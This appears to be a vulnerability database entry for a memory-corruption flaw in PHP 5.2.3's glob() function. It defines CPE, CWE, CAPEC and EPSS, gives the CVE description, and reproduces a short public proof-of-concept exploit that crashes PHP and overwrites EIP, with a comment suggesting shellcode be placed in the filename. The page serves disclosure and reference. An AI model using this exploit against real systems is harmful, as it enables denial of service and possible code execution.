CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

The glob function in PHP 5.2.3 allows context-dependent attackers to cause a denial of service and possibly execute arbitrary code via an invalid value of the flags parameter, probably related to memory corruption or an invalid read on win32 platforms, and possibly related to lack of initialization for a glob structure.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

//PHP 5.2.3 glob() Remote DoS Exploit
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp sp2, worked both from the cli (EIP overwrite) and on apache (Denial of Service)
//Bug discovered with "Footzo" (thanks to rgod).
//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar
//as you know, glob function expects an integer value passed to "[int $flags] " parameter
//so when you give it something not integer (like -1) a funny thing happens:
//I never seen something like that, EIP is overwrite with 4 bytes of filename :D
//if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and launch it
//registers content will appear as follow:
//EAX 00C0F8EC
//ECX 00C0E9FC ASCII "C:\\aaaa"
//EDX 00C0EC1C
//EBX 00C0EC64 UNICODE "C:\\aaaa"
//ESP 00C0E9F0
//EBP 00000000
//ESI 00C0F8EC
//EDI 00C0EC74
//EIP 62626262
//any idea? put shellcode in filename :D
glob("a",-1);
